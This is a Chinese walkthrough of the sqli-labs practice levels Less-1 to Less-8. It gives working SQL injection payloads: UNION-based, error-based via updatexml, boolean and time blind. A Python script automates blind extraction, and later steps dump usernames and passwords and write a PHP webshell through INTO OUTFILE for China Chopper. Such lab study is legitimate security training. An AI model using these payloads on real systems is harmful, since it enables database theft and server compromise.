Less-1 联合注入
当输入?id=1时,显示对应的Login name与Password
①推测闭合方式
输入\,后面是’,应该是单引号闭合
?id=1’报错
?id=1’ --+不报错
说明确实是单引号闭合
②手工查询有多少栏目
?id=1’ order by 2–+
发现3的时候可以,4的时候不可以,说明有3列
③显示报错位
?id=-1’ union select 1,2,3 --+
当union前面的语句为false,才会执行后面语句
发现哪些位置是可以显示的
④爆库名
?id=-1’ union select 1,database(),3 --+
security
⑤爆表名
?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 3,1 --+
0,1是从第0个开始取,每次取一个
尝试0,1 1,1 2,1 3,1 发现到4,1不行
或者
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
一次性爆出表名:emails,referers,uagents,users
⑥爆列名
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
爆出列名:id,username,password
⑦爆数据
?id=-1’ union select 1,group_concat(username),group_concat(password) from users --+
或者:?id=-1’ union select 1,group_concat(username,password),3 from users --+
或者:为了格式好看
?id=-1’ union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users --+
补充:Ascii码的一些转换:ASCII_百度百科
Less-2
同Less-1,没有闭合方式
Less-3
同Less-1,')闭合
Less-4
同Less-1,")闭合
Less-5 报错注入/布尔盲注/时间盲注
这里讲报错注入的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
发现它并没有显示位
①判断闭合方式
?id=1\
发现是’闭合
②判断注入点
?id=1’ and 1=1 --+
发现页面无回显
查询语句正确时页面会打印You are in…,错误则不显示
③爆库名
?id=1’ and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
库名:security
②爆表名
?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x7e),1) --+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+
表名:emails,referers,uagents,users
③爆列名
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1) --+
列名:id,username,password
④爆数据
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
Less-6 报错注入/布尔盲注/时间盲注
布尔型注入:
这个地方进行了数据库查询,但是没有显示位,报错不会出现信息
错误和正确页面有区别
这里讲布尔盲注的方法(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
无回显的
①判断闭合方式
?id=1\
发现是"闭合
?id=1" --+成功
②判断数据库长度
?id=1" and length(database())
所以库名长度=8
②判断数据库名中字母
select substr(database(),1,1);
截取数据库库名,从第1个字开始截取,每次截取1个
select ascii(substr(database(),1,1));
截取出来的字,使用ascii码编码
select ascii(substr(database(),1,1)) < 100;
所以
?id=1" and ascii(substr(database(),1,1))>114 --+
?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行
所以ascii码为115,第一位字母为s
用脚本跑
import requests as req url = ‘http://www.wangehacker.cn/sqli-labs/Less-6/?id=1’ res = ‘’ select = “select database()” for i in range(1, 100): for ascii in range(32, 128): id = ‘1" and ascii(substr(({}),{},1))={}%23’.format(select, i, ascii) r = req.get(url+id) print(url+id) if “You are in” in r.text: res += chr(ascii) print(res) break if ascii == 127: print(‘{}’.format(res)) exit(0)
得到库名:security
③走流程
只要修改脚本中的select语句即可
select group_concat(table_name) from information_schema.tables where table_schema=‘security’
select group_concat(column_name) from information_schema.columns where table_schema=‘security’
select group_concat(username,password)from users
Less-7 文件导出
文件导出的方式进行注入
https://www.cnblogs.com/c1047509362/p/12356354.html
①判断闭合
手工测试?id=1’)) and 1=1–+成功
所以是’))闭合
②猜列数
?id=1’)) order by 3–+ 列数为3
③导入一句话木马
?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+
虽然提示报错,但是我们发现已经存在文件test.php了
④连菜刀
中国菜刀进行连接,输入我们写的文件路径,密码是wlw
成功进入
Less-8 布尔盲注/时间盲注
'闭合
这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)
①判断是否有延时
id=1’ and sleep(5) --+
发现确实有延时,可以用时间盲注
② 爆库长
?id=1’ and if(length(database())=8,sleep(5),null)–+
③爆库名
从左边第一个字母开始,判断库名第一个字母是不是s
?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+
?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+